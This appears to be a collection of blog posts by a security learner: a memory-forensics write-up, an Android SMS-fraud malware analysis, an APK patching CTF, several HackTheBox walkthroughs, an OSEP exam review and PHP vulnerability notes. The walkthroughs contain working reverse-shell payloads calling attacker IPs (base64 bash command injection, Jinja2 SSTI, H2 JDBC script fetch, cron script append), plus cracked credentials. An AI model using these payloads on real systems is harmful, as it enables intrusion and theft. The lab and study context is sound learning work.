A junior member of our security team has been performing research and testing on what we believe to be an old and insecure operating system. We believe it may have been compromised & have managed to retrieve a memory dump of the asset. We want to confirm what actions were carried out by the attacker and if any other assets in our environment might be affected. Please answer the questions below.
Recently, I have been interested in learning some blue team skills, so I have started to expand my knowledge by tackling Sherlock challenges every week. If there are any inaccuracies or areas for improvement in my writing, please point them out.
This article challenge is related to memory forensics. Naturally, the tool used is the renowned volatility. I have always preferred using a combination of GUI (Volatility Workbench) and command line to address memory forensics issues.
I also noticed that Volatility has been updated to version 3, but I found it quite unfamiliar. Many plugins from version 2.6 haven’t been successfully ported to version 3. After trying it out, I quickly decided to stick with the older version.
This week challenge seemed relatively easy, and I managed to complete 18 questions without spending too much time on them.
I typically use a mix of GUI and command line, occasionally transferring files to Kali Linux for analysis, due to my familiarity with Linux’s grep command.
The first step after obtaining a memory dump is to identify the target’s profile:
volatility.exe -f recollection.bin imageinfo |
For this analysis, the profile Win7SP1x64
was used.
Based on the image info, the answer is Windows 7.
The memory dump creation date, according to the image info, is 2022-12-19 16:07:30 UTC+0000
.
To view clipboard contents, Volatility offers a plugin:
volatility.exe -f recollection.bin --profile=Win7SP1x64 clipboard |
The command found was (gv '*MDR*').naMe[3,11,2]-joIN''
.
Reviewing console commands, it’s noted that PowerShell executed the clipboard content using IEX
, an alias for Invoke-Expression
.
An attempt was made to transfer a file to an SMB share:。
type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt |
The file was not successfully exfiltrated, as indicated by the error message The network path was not found
.
Decoding a base64 string revealed the attacker’s intention to demonstrate their prowess:
┌──(ikonw㉿Xing)-[~/Desktop/Mobile_project/C2] |
The correct approach involves reading the Hive list and then the registry for the host name. However, the net user
command directly revealed the hostname as USER-PC
.
Three user accounts were identified from the screenshot.
Using filescan
and filtering by file name:
volatility.exe -f recollection.bin --profile=Win7SP1x64 filescan | findstr "passwords.txt" |
The full path found was \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
.
Returning to the console, the execution of a lengthy .exe file was noted:
b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1 |
The Imphash was located by uploading the file hash to VirusTotal.
The creation time can also be found on VirusTotal.
Unfortunately, Volatility cannot directly display the local IP address.
However, by examining local connections with netscan, the local IP address 192.168.0.104
was found in localhost.
In this case, the parent process of powershell.exe
was identified as cmd.exe
.
Since logging in usually involves using a browser, multiple msedge processes were found using psScan. I chose one of the earlier processes for memdump and then captured strings:
volatility.exe -f recollection.bin --profile=Win7SP1x64 memdump -p 2380 -D msedge |
Scrolling up in the output revealed a suspicious email:
mafia_code1337@gmail.com |
This question was challenging because Volatility does not have a plugin to extract MS Edge browsing records.
Upon consulting with my good friend, I discovered that a History file stored the browser history.
By searching for strings, I located the target address and used memdump to transfer the target file into the Kali file system:
volatility.exe -f recollection.bin --profile=Win7SP1x64 dumpfiles -Q 0x000000011e0d16f0 --dump-dir=\\192.168.245.175\shared\ |
Volatility Foundation Volatility Framework 2.6.1 |
Upon examining the strings in the target file, Wazuh
was clearly seen.
Returning to the console commands, we discovered csrsss.exe
, which has an extra ‘s’ compared to the legitimate Windows csrss.exe
.
Here, we also encountered the wazuh
from the previous question.
The target of this exercise is to reverse engineering the application to check if it has send SMS fruds activity.
The target of this exercise is to reverse engineering the application to check if it has send SMS fruds activity.
Firstly, for effective Reverse engineering, we must not dive in and read the code line by lines. Since we are targeting if the application sends frud SMS, we should look for the Send SMS functions.
Have some research we found that, SmsManager is the standard API provided by Android for sending SMS messages, it allows to send text messages without user interaction.
The thing caught my eye is the URL in the BootService
It listen for broadcast receiver, and if the action of is equal to SENT_HUGE_SMS_ACTION
it will actually load a intent of ACTION_START
and send the broadcast.
// android.content.BroadcastReceiver |
The above code also states about the sendmessageStatus
appear in the same file.
It gets the phone particular and send along with the SMS status with POST request to http://139.59.107.168:8088
private String getPhoneNumber() { |
The intent "SENT_HUGE_SMS_ACTION
is very suspicious, we can have a search on the string.
It appear in the .com.cp.camera.loading
.
The method name is called sendMessage
.
It initialized a bundle object.
Bundle is a key-value store for passing data between Android components.
it then map the key FirebaseAnalytics.Param.ITEM_NAME
to string SEND_SMS
next it created a new Intent called SENT_HUGE_SMS_ACTION
and put the bundle as a parameter into the intent.
Next it created a smsManager
instance.
PendingIntent sentintent = PendingIntent.getBroadcast(this, 0, itSend, 134217728);
This is a static method call to PendingIntent.getBroadcast()
which returns a PendingIntent
that will perform a broadcast.
The 4 parameter, this
refer to the current context, 0
is a request code, its usually set to 0 because it’s not used for broadcast PendingIntent, the third paramter itsend
is obviously the intent to be broadcast which the action is SEND_HUGE_SMS_ACTION
. Lastly, the last parameter control how the methods behave, in this case, 134217728
corresponds to the flag PendingIntent.FLAG_UPDATE_CURRENT
which update the existing PendingIntent
if it already exists, otherwise creates a new one.
public void sendMessage(String mobile, String content) { |
After that, I guess its checking the content length of the message, if the content length is more than 70, it actually call the method sms.divideMessage
to divide the sms into multiple SMS. and Send one by one. The reason being SMS messages are limited to 70 character in UC-2 encoding.
try { |
This is my first time encounter the sms.sendTextMessage
public void sendTextMessage (String destinationAddress, |
sms.sendTextMessage(mobile, null, msg, sentintent, null);
Good now we know what sendMessage do (Actually can tell by the name, but for the sake of study).
Next, we can look for which methods or class called this sendMessage
.
It appear in the same file
public void onClick(View v) { |
It firstly check if the version is less than 23, if less than 23, it will directly called the method Loading.this.sendMessage(Loading.this.service, Loading.this.content);
.
According to what we have analysis just now, the first parameter is the number, second parameter is the message body.
The name seems funny, but its alright, will come back to this later, if the version is more than 23, it will check if the application have the permission of "android.permission.SEND_SMS"
The above link states that if the android SDK version is 23 (Android 6.0) and above it need to request for runtime permission.
Ok back to the topic, the code below will check if run time permission is granted, and send the message.
So now, what is this.service
and this.content
, this is our main focus, where the message is beings sent to and what is the content.
protected void onCreate(Bundle savedInstanceState) { |
Above file is written onCreate method in the same file.
this.service = object.getString("service");
We can see that this.service
is get through the object.
JSONObject object = new JSONObject(jsonStr);
The object is a JSON object by jsonStr
String jsonStr = loginByPost(operator);
The jsonStr comes from the function loginByPost
with parameter operator
.
String operator = telManager.getSimOperator();
The operator is the value of telManager.getSimOperator()
Very interesting, this getSimOpertor
retrieves the MCC+MNC(Mobile Country Code + Mobile NetWork Code) of the active SIM card as a string.
Let’s have a example for Singapore, the MMC (Mobile Country Code) is 525
, the MNC (Mobile Network Code) depends on the mobile network operator.
So if we are using Singtel SIMCard, the value return will be 52501
Cool!
Let’s examine the loginByPost
method.
public String loginByPost(String code) { |
It sends the MMC+MNC string to the target server with a POST request
String spec = "http://139.59.107.168:8088/appsharejson?code=" + code; |
Next, it check if the request status code is 200, then it read the response content into buffer and return it as a string.
So we can safely conclude that the the the user’s MNC+MMC is being sent to the target server, then the target server returns a json contains the follow values:
this.content = object.getString("content"); |
Now, let’s determine how the Send SMS frud is being triggered, we can search by the usage of the sendMessage
method
// android.app.Activity |
This piece of code is previously we are talking about the requesting the runtime permission, it requests for the runtime permission, as long as it gets the permission, it will actually call the sendMessage
method.
findViewById(R.id.button_sensms).setOnClickListener(new View.OnClickListener() { // from class: com.cp.camera.Loading.1 |
Coming back to this code, it actually is a onClick method, which requires user interaction. Looking at the findViewById(R.id.button_sensms
seems the button to click. Follow up with the button_sensms
It seems the text is based on the previous server response too. Weird.
Alright anyway the full picture of this malware should be. When the application is started, it will send the victim’s SIM Card details to the remote server, remote server may depends on the victim SIM Card details providing different set of numbers? (Maybe targeting different country) or texts. Then it request for user runtime permission to allow send SMS.
]]>This app contains some unique keys. Can you get one?
This app contains some unique keys. Can you get one?
Firstly, install the app to inspect the activity main page.
However, face difficulties with installing through adb prompt will following errors:
`adb: failed to install backup.apk: Failure [-124: Failed parse during installPackageLI: Targeting R+ (version 30 and above) requires the resources.arsc of installed APKs to be stored uncompressed and aligned on a 4-byte boundary]
After some research, we have to align the packet in bytes of 4 using zipalign.
$ zipalign --help |
when trying to launch zipalign from kali linux, I have problem with error for the packet. After more research.
zipalign
Manage to download the right package from this site.
perform dpkg -i <package.deb>
When installing we are missing android-libandroidfw
package.
$ sudo dpkg -i zipalign_8.1.0+r23-2_amd64.deb |
Performa a install on the package
sudo apt-get install android-libandroidfw |
And now we got our zipalign working
$ zipalign -p 4 APKey.apk zipalign_APKEY.apk
Next we can perform a check if the APK is aligned with 4 bytes
Good!
After realign the APK, we have to sign the application again using apksigner
with the fake private key
keytool -genkeypair -v -keystore my-release-key.jks -keyalg RSA - keysize 2048 -validity 10000 -alias my-alias |
apksigner sign --ks my-release-key.jks zipalign_APKEY.apk |
Manage to install the application sucessfully this time round.
The application requires a authentication for a key.
Decompile the application with apktool
apktool d apkey.apk
Also open it using jadx-gui
Inspecting at the manifest file, found the launcher is at MainActivity
|
As from the previous section, we notice that the login page requires 2 input box, username and password. It is declare at line 22 and 23 with object EditText
This is further prove by if (MainActivity.this.f928c.getText().toString().equals("admin")) {
which it is checking if the user input for f928c
is equal to admin. Next it create a MD5 object and hash the user provided password and check if it is equal to a2a3d412e92d896134d9c9126d756f
.
However this hash is uncrackable.
Since it is a simple logic of EQUAL , we can modify the smali code to become NOT EQUAL.
but first, we have to allocate where is the comparison in smali.
From the apktool decompile folder, navigate to smali/com/example/MainActivity$a.smali
About line 141, we saw the hash a2a3d412e92d896134d9c9126d756f
:try_start_2 |
A sample of code near the hash, we can see that the second line
invoke-virtual {p1}, Ljava/security/NoSuchAlgorithmException;->printStackTrace()V
is actually the printStackTrace function
corresponding to the red box.
const-string p1, ""
next it set the p1 register to an empty string.
:goto_1
seems a JUMP label which if refer to the code, it is the end of catch.
const-string v1, "a2a3d412e92d896134d9c9126d756f"
. next it set the V1 register.
On a side note, was curious if the register stored the address or the actual value.
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
after that it perform equal function with the string and the hash
invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
This equal function takes in 2 parameter, and return a boolean Z
move-result p1
next it move the boolean result into p1.
if-eqz p1, :cond_1
check if P1 is true, then it jumps to label cond_1
Which this is the critical statement that wanted to change,
with a little bit help from CHATGPT.
Good, we have the code now, let’s save the changes.
Compile the samli app using apktool
$ $ apktool b APKey |
Zipalign the 4 bytes and sign again
$ zipalign -p 4 APKey.apk zipalign_APKEY.apk |
Type random password, will result in not equal the hash and it actually print the flag.
]]>PORT STATE SERVICE VERSION |
add analytical.htb
to /etc/hosts
Visit the login pannel found ourself redirect to a new subdomain data.analytical.htb
add it again into /etc/hosts
Found metaBase site, at first I thought it’s a custom CMS. Tried with different injection but failed.
Proceed to search about metaBase, found one metasploit module about the preauth RCE.
https://www.rapid7.com/db/modules/exploit/linux/http/metabase_setup_token_rce/
Proceed to add it into the metaspoit modules
Found ourself to be metabase
after some enumeration, we found ourself to be in a docker container.
Checking the environment, we got ourself some username and password
And we manage to ssh in as metalytics
After enumeration on the kernel version we found this POC github
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629
$y$j9T$aVUkVU8LWFNEuXdwrOIJH.$jF8hy0vMzBJTvu/.HkzP0E4ZObo1I.frOPRVj2ktqM2
PORT STATE SERVICE VERSION |
Enumeration for directory and files
/actuator/sessions
stores the cookie session
466A6E102F39705E188641FCA0D63E03 "kanderson" |
Modify the cookie value to user kanderson
, manage to bypass login as admin
The command injection is vulnerable at username, it does filter the white space. Using the payload below to generate a reverse shell without space or able to use ${IFS}
alternatively
root;`{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMzM3IDA+JjEK}|{base64,-d}|bash` |
Manage to get user app
After some enumeration we found ourself high possible be in a docker container.
app@cozyhosting:/app$ ls -la |
The docker container does not install python and do not have permission to write on /var/www
, however nc
is installed.
nc -l -p 1234 > out.file
nc -w 3 [destination] 1234 < out.file
after some review, found some creds for psql
spring.datasource.username=postgres |
double check if psql port 5432 is enabled in the box
app@cozyhosting:/home$ ss -lutn |
However it’s listening to localhost only.
reverse port forwarding is needed.
Listening on port 51234
./chisel server --reverse --port 51234
Connect to attacker port 51234 and create a port forwarding 5432
./chisel client 10.10.14.11:51234 R:5432:127.0.0.1:5432
Connect to localhost
psql -h 127.0.0.1 -p 5432 -U postgres
In cozyhosting database, found the some creds.
cozyhosting=# select * from users; |
Use hashcat to bruteforce the bcrypt
hashcat.exe -m 3200 -a 0 .\hash\cozyhosting.txt rockyou.txt --username
and got the password as manchesterunited
D:\hashcat-6.2.6>hashcat.exe -m 3200 -a 0 .\hash\cozyhosting.txt rockyou.txt --username --show |
Tried different combination of username, found we are to login the user found in the docker josh:manchesterunited
Matching Defaults entries for josh on localhost: |
checkout for GTFOBINS we got ourself root easily.
root:$y$j9T$nK3A0N4wTEzopZkv8GQds0$NlR46AiiQOChoO1UNpiOYFIBHM7s956G8l8p/w15Sp2:19577:0:99999:7:::
之前旧的OSCE因为太过老旧加上新的 OFFSEC CEO上岗,就把OSCE分出了新的两部分 + OSWE 形成了OSCE3的证书
而旧的OSCE 也再2020年10月下架了。
当然主要的是本文中提到的OSEP (Offensive Security Experienced Penetration Tester) 属于 “进阶渗透” ,相比OSCP,课程的前半部分提供了钓鱼,免杀,后半部分则是对域的横向提权。
免杀的部分则是用了C#,VBA以及Powershell。
这时你就会问 如果我不会C#和VBA,我是不是要先去B站看几个视频再去买课?
答案是不用的,我最喜欢课程的一点是会慢慢的循环带进。本人没有一丁点C#以及VBA方面的知识,但跟着课程走完后。对这两个语言或多或少有点了解。
对于价钱以及其他课程的要求可以自行前往官网查看 我就不一一介绍了。
在官网的Course Prerequisites里有要求对域环境和攻击有基本的了解。
我在2020年初的时候考过了OSCP,那时的资料对域环境的比较少考试也没有考域环境类的攻击。
在杨成龙大哥的推荐下 购买了CRTP(CERTIFIED RED TEAM PROFESSIONAL)
这课程对那些域的初学者十分友好,也是慢慢的熟悉各种姿势。
然后我看我自己应该符合课程的要求了,就想去新官网预约下课程开始的时间,本来想预约两周后的结果给我当场就开始课程了。
但结果是扎心的,还是直接开始了
OSEP的课程实验室分为两部分,一部分是给你练习PDF上面的内容,另外一部分为Challenge lab模拟真实的域环境让你练习再PDF上面学到的内容,并且是没有答案的。
由于本人是再新加坡服兵役,只有晚上才能碰到自己的电脑,每晚大约有4-5个小时的学习时间。有时还一到家就马上倒头就睡的情况。
花了大概30天左右的时间,读完了PDF以及练习,然后用剩下的30天来打完6个Challenge lab。
当我做完PDF练习的时候比我预想的还要快,我就马上定了离我Lab结束后两周的考试时间 好像是21年10月26日。
但后来因为再10月15日左右,因为有人貌似再网上泄露的考试题目,就全面取消了全部考试。
然后当时因为英雄联盟手游国服出了,就专心打游戏去了(狗头)……
OSCE3的证书都是48小时考试+24小时报告,并且有监考 需要全程保持摄像头开启和保持对桌面的共享(全部显示屏)
需要去厕所,离开电脑前都需要跟监考报备。
第一次考试的时候,前个晚上熬了夜 没咋睡好,然后10点钟的考试让我眼睛差点都睁不开。
到下午3点的时候才拿到第一个Flag,然后就太困跟监考说了声然后去睡了个午觉。
在后续的时间里我只拿到了3个Flag, 离及格还差7个,惨淡收尾。
在准备第二次考试时,
我去了HackTheBox 的平台购买了Offshore的一个域环境的靶机自己多加练习。
Offshore跟Lab的差别可能就是Offshore多了一些其他的小东西,比如Web攻击,提权以及没有任何的AV。
Offshore有21台主机,有四个域让你横向。其中当然也学到了一些新的横向技巧,以及完善自己对域环境的enumeration和更多的impacket花式使用技巧。
对那些做完Lab,并且还是对自己没有任何信心的可以尝试去HTB订阅下这个域环境(就是价钱稍贵)
第一个月是70欧元(启动费)+ 20欧元 (订阅费),后续的每个月只需要20欧元的订阅费即可。
考试的前一天也去了Offsec Discord 频道看了一些大佬的考试建议。
然后再考试当天,这次学聪明了,把时间定在了12点开始。
12点钟的时候例行跟监考检查身份证信息和考试环境。
整个考试过程挺流畅的,在当天晚上23点的时候已经拿到7个Flag 并且对下个Flag有些眉目了。
第二天 8点起床 然后吃早餐消化,10点继续考试,很顺利的在半小时内对昨晚的命令做了些调整成功拿下第八个Flag。
12点的时候成功拿下第9个Flag,在接下来的六个小时里,没有任何收获。
心情开始逐渐焦虑,于是就去洗了个澡吃了晚餐,陪了下侄子。
然后回到考试内半小时就顺利找到第十个Flag,拿到了及格分数。
然后开始的陪朋友“休闲”了会儿。
在凌晨开始写报告,写了五个小时 把全部的截图以及步骤详细写了,提交完就然后昏昏欲睡了。
很顺利地在隔天的Offsec Portal发现自己及格了考试
1. 我没有OSCP可以直接报名OSEP嘛?
答案:是可以的,OSEP没有任何前置要求,但本人还是推荐有OSCP的经验再考 有更大的几率通过考试
2. 课程里好像有很多C#编程和免杀部分的知识,我不会怎么办?
答案:课程会带你从0到1,慢慢一步一步教。
3. 课程精华的部分是在哪里?
答案:我个人觉得整个课程最精华就是C#免杀编程里。
4. 课程教的免杀技巧和方式能过最新的Windows Defender嘛?
答案:不能,但在av扫描的网站还是只有极少数可以侦察到,最重要的是教你的这个思路,这个PEN-300给了你这个牢固的地砖,你可以在上面的代码做出修改。挺多Discord的人都通过课程教的然后自己修改能达到 VirusTotal 0个侦察。
5. Pdf和Challenge lab时间应该如何分配呢?
答案: 个人建议是多花时间在Challenge Lab。
Making a script scan on all ports |
As Usual, add the hostname to /etc/hosts
Visit the academy.htb
site, only a background nothing clickable.
Right click look at the souce, found the login and register site.
Trying to attemp with default admin creds. No errors been show, guess it is either not responsive or the error message is hidden.
Always use burp when you’re unsure about something in web, didnt see anything special.
Move to register.php
, we found something juicy here. There’s a roleid
parameter
Register 2 account with different roleid
However both account seems similar, it didnt login into the username I register, instead login as egre55
Tried gobuster, and we found a admin.php
With the roleid=1
account, manage to find a new subdomain dev-staging-01.academy.htb
add it into /etc/hosts
Manage to interprate the site is running on PHP laravel framework
Perform searchsploit
we found a potential metasploitable CVE, it needs APP_KEY
set VHOST dev-staging-01.academy.htb |
And we got the www-data
After searching around, found one password in /var/www/html/academy/.env
APP_NAME=Laravel |
By looking at the /home
directory, we have total of 6 user
www-data@academy:/home$ ls |
With trial and error, we manage to su as cry0l1t3
or you can just SSH in to get a proper shell
$ id |
Found cry0l1ts
is in adm
group. With a bit of google
adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group. admin: The admin group is used to grant sudo access on ubuntu 11.10 and earlier
Tons of log event are recorded, with help of some kind soul.
manage to find the right one
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A |
Decode the hex character and we got mrb3n_Ac@d3my!
Again trial and error we are able login to mrb3n
perform sudo -l
$ sudo -l |
Search gtfobin
and we got a easy root.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-07 20:06 +08 |
Start to enumerate at the http port
Not able to find other directory other than the index page
Guess this is the only route to user
Tried different input
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN |
Found some error message.
After googling, with the keyword fasterxml and jackson
we found this CVE
Create a inject.sql with bash reverse shell
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { |
Start a python server
python -m SimpleHTTPServer 8000 |
Also start a listner
nc -nvlp 8080 |
Finally our payload
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://x.x.x.x/inject.sql'"}] |
And we got our reverse shell back
After some enumeration manage to find something interesting using PSPY64
/usr/bin/timer_backup.sh is run by Root
-rwxrw-rw- 1 pericles pericles 88 Nov 7 12:50 /usr/bin/timer_backup.sh
We have write permission.
echo "bash -i >& /dev/tcp/10.10.14.22/5555 0>&1" >> /usr/bin/timer_backup.sh |
and we get a easy root. But the nc will exit somehow less than 30second, another method is to write your public key and enter in SSH
listening on [any] 5555 ... |
# Nmap 7.80 scan initiated Sun Sep 27 09:39:47 2020 as: nmap -Pn -sCV -p22,80,8089 -oN nmap/Full_10.129.11.0.nmap 10.129.11.0 |
Start enumeration on port 80, found the info@doctors.htb
email.
Let’s add the hostname doctors.htb
to /etc/hosts
After adding to host file, visit doctors.htb
come to a login page
Tried to use info@doctors.htb
to login, with the reset password function, we can verify that info@doctors.htb
is not a valid account.
Once we register, there’s only one function.
From the page source, we found /archive
but it appears to be blank page
The New Post
is vulnerable to server site template injection
Server Side Template Injection Payloads
When we input {{7*7}}
, we notice that it is shown on the /archive
page.
can confirmed that it is using either Twig
or Jinja2
Next up, craft a malicious payload to obtain reverse connecction
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.67\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read()}}{%endif%}{%endfor%} |
Another way would be using malicious curl command, this seems the unintended way
<img src=http://10.10.14.67:1337/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.67'$IFS'4444')> |
Went to /home
directory we found user shaun
Found user password in /var/log/apache/backup
And we can switch to user shaun
.
Using the privilege escalation suggester we got the splunk is vulnerable.
By using the https://github.com/cnotin/SplunkWhisperer2 we are able to get privileges’ to root
Initial foothold is more annoying, from www-data to user to root is easy
If we recall in PHP, no data types in any variable have to define. In the circumstance of comparisons of different variable, PHP will automatically convert the data into same data type.
For example, if we want to compare integer to string. PHP will convert string to integer.
Let’s assume a situation. We have a input field asking for the number of bottle.
|
When we try to submit 1 to num_bottles
. As we say early on, when comparing string($_GET[num_bottles] will be string data type
) and integer, it will auto convert strings to integer. so it match the first if
statement
┌──(root💀kali)-[~/Desktop/php-audit/day1] |
It seems nothing special that "1" == 1
What if the user input is “1bottle” ?
YES, PHP will treat “2bottles” as 2 because of it’s loosely comparison. It will abstract the leading numbers from the beginning of string and convert to integer.
┌──(root💀kali)-[~/Desktop/php-audit/day1] |
you might ask, what if there are no numbers?
PHP will treat the string as 0
┌──(root💀kali)-[~/Desktop/php-audit/day1] |
CTF challenge from PHP SECURITY CALENDAR
class Challenge { |
The have to bypass the restriction of white listing check with the function in_array()
in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool
Searches for needle in haystack using loose comparison unless strict is set.
neddle = The Searched Value
haystack = The array.
strict
If the third parameter strict is set to TRUE then the in_array() function will also check the types of the needle in the haystack.
How in_array()
is by comparing a needle to every values in an array. When strict
is not set to TRUE, it will not restrict in data types. That’s when PHP loosely comparison come into play.
if we want to upload a malicious PHP files, the filename has to be end with .php
but with the restricted white list, we are only allow to send file in the range of 1 - 24
.
We can easily construct a file with leading numbers, will bypass the in_array()
check
Docker for convenient
docker run --name app8 -d -p 8080:80 -v $(pwd):/var/www/app romeoz/docker-apache-php:7.0 |
A simple file for uploading
<!doctype html> |
name the malicious file as 1malicious.php
will bypass the restriction
TBD
]]>preg_replace — Perform a regular expression search and replace
preg_replace ( mixed
$pattern
, mixed$replacement
, mixed$subject
[, int$limit
= -1 [, int&$count
]] ) : mixed
All the testing will be test under docker environment with php version 5.3
docker run --name app -d -p 8080:80 -v $(pwd):/var/www/app romeoz/docker-apache-php:5.3 |
put all your php files under the same directory with the docker file.
Access the page in localhost port 8080
preg_replace(patterns, replacements, input, limit, count) |
Searches subject
for matches to pattern
and replaces them with replacement
.
The normal use of Preg_replace()
is safe enough for replacing pattern using regex
Let see a example:
When we want to filter unwanted words from user input and replace it with proper words
|
The /i
modifier will match both upper and lower case letters.
we expect the output to be eat my shit please
without any parameter
But what if we want to change the shit
to poo
instead ?
And we filter off bad words. Everything seems fine with this function
The danger comes in when the modifier set to /e
instead of /i
, it will cause PHP to execute the replacement value as code.
the preg_replace()
has come preg_replace('/shit/e','system('whoami'),"eat my shit please")
The string shit
trigger the replace function to execute a system('whoami')
Let’s look at the another example if we are not able to control the delimiter
|
pattern
parameter no longer require the /
and delimiter
This code seems safe, attacker can no longer end the regular expression with their own modifier.
Do take note PHP
take some of the syntax from C
. In C, it handles strings as a character array, it needs a way to define the last character of the string. This is done using a null byte. A null byte is denoted by \0
in C. preg_replace
function handle an input string as they handled by C.
Therefore, we can input a \0
which is %00
in URL to control the last character of the string.
CTF challenge from PHP SECURITY CALENDAR
header("Content-Type: text/plain"); |
We can use PHP’s curly syntax to inject the function call
http://localhost:8080/challenges.php/?\S*={${system(id)}}
The reason why we are using curly syntax is because after the function complexStrtolower
we are storing our result into "<result>"
in double quotes
In PHP, the variable in double quotes are allow to parse as variable.
In curly syntax, single curly braces is for parsing variable.
// Works, outputs: This is fantastic |
Note:
Functions, method calls, static class variables, and class constants inside
{$}
work since PHP 5. However, the value accessed will be interpreted as the name of a variable in the scope in which the string is defined. Using single curly braces ({}
) will not work for accessing the return values of functions or methods or the values of class constants or static class variables.
For functions we have to use double curly braces. E.g. {${phpinfo()}}
why we are able to execute system(id)
without quote the 'id'
if we add id
in single quotes, it will auto add a slash to escape the single quotes (Which I have no idea ??? Comment if you know the reason)
however, in PHP. Constants without quote will assume as string beacuse of the PHP ‘loosely typed’ characterstic (Will be discover more on later post PHP type juggling
)
|
# Nmap 7.80 scan initiated Thu Sep 17 12:32:35 2020 as: nmap -Pn -sCV -p22,80 -oN nmap/Full_10.10.10.207.nmap 10.10.10.207 |
Port 80 webserver was a online store
As usual, launch gobuster enumerate potential directories
Found a backup directory, I believe it’s the source code for the web
search for the keyword username
to look for potential plaintext username or hard coded password
grep -R 'username|password' |grep -v 'jquery' |
and we found login.php have suspicious file_put_contents
if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in')); |
Navigate to the location and we got the user and passwd
admin:theNextGenSt0r3!~
Login to the authentication portal, we got the LiteCart version number
And yeah, we got the poc
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- |
The initial exploit was not able to work, it was able to create a php file, but system
seems disable. Tried different shell execution function like shell_exec
didnt work either.
if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } |
Instead of continuing try for luck, phpinfo()
will give us what function is disabled. And we got tons of function being disabled
After research, found a php script able to bypass the restriction
PHP 7.0-7.3 disable_functions bypass
Modified the script for the pwn function
pwn($_REQUEST['c']); |
Next modify the litecart poc
f = open('exploit.php','r') |
and we manage to gain rce
After trying hard to I found it seems www-data is very restricted, only very few command able to execute. I didnt manage to get a proper reverse shell.
After long enumeration
root:x:0:0:root:/root:/bin/bash |
I actually found that, mysql is a user. Went back to the initial foothold, I manage to find the mysql root username and password
// Database |
and we got the creds for mysql root:changethis
. We can launch mysql client, execute commands to write our ssh public key to authorized_keys
yeah, we manage to get code execution for user mysql
mysql -u root -pchangethis -e "SELECT exec_cmd('echo sshxxxxxxxxxxx' > /var/lib/mysql/.ssh/authorized_keys)" |
One thing to note here, you have to encode the +
into %2B
else it will be shown as a whitespace in authorized_keys file
Last login: Thu Sep 3 11:52:44 2020 from 10.10.14.2 |
and we are in using ssh.
After more enumeration
we found a new password 3*NLJE32I$Fe
it turn up to be sysadmin
‘s password
su and we got the user.txt
We found a suspicious file .pam_unix.so
Use ghidra to reverse it.
in pam_sm_authenticate
we found some backdoor string
convert the unsigned-hex to char sequence
and we got the password zlke~U3Env82m2-
with a null behind
root@compromised:~# whoami && hostname |
After extracting the file from zip, we got a Andriod Backup
Upon google, we found a way to extract the file
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | tar xfvz -
and we got 2 folders apps
and shared
and we found this picture, the flag is at the bottom of the paper
HTB{ThisBackupIsUnprotected}
]]># Nmap 7.80 scan initiated Sun Sep 6 12:17:03 2020 as: nmap -Pn -sCV -p22,80 -oN nmap/Full_10.129.5.22.nmap 10.129.5.22 |
We found the site has implement fail2ban, which it will block certain IP address if it touches the threshold, gobuster might not work here.
http://www.passage.htb/cutenews
Version CuteVews 2.1.2 , rating more towards CVE
Use searchsploit
┌──(root💀kali)-[/opt/nmapAutomator/10.129.5.22/nmap] |
Found Metasploit module, msfconsole was not able to search the module, therefore we have to add it manually.
cp 46698.rb /usr/share/metasploit-framework/modules/exploits/linux/http/46698.rb |
and we will have error saying out file unable to load. Because there’s some error in this ruby file (Why offsec would keep bad module ?)
'References' => |
First, we have to register a account
Next, open up msfconsole, load the module we just added
reload_all |
And this is our options
msf5 exploit(linux/http/46698) > options |
and we got the www-data user.
We found 2 user
nadav and paul
www-data@passage:/home$ ls |
Went back to web directory for more enumeration, try to see if any config file stores the users cred
Along the way we find out that CuteNews does not have database, all it’s data are store in PHP.
For convivence, I zip the whole web folder and download it to local for more analysis.
in cdata/users folder we found some base64
┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users] |
We extract out all the base64 hash and decrypt it at one
┌──(root💀kali)-[~/…/passage/CuteNews/cdata/users] |
we can see that is all serialized objects.
array ( |
it contains email and password hash.
went to hash.org and we know it’s a sha256 hash.
we collect all the hashes
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1 |
and we use john and rockyou to decrypt it
┌──(root💀kali)-[~/Desktop/hackthebox/Linux/passage] |
we got the password atlanta1
we manage su to paul account
paul@passage:/var/www/html/CuteNews/cdata$ whoami |
After some enumeration
authorized_keys only have one nadav value. That means key belongs nadav. This key can access to both nadav and paul
paul@passage:~/.ssh$ cat authorized_keys |
That means, nadav might have paul’s public key.
We get the id_rsa key from paul and we are in
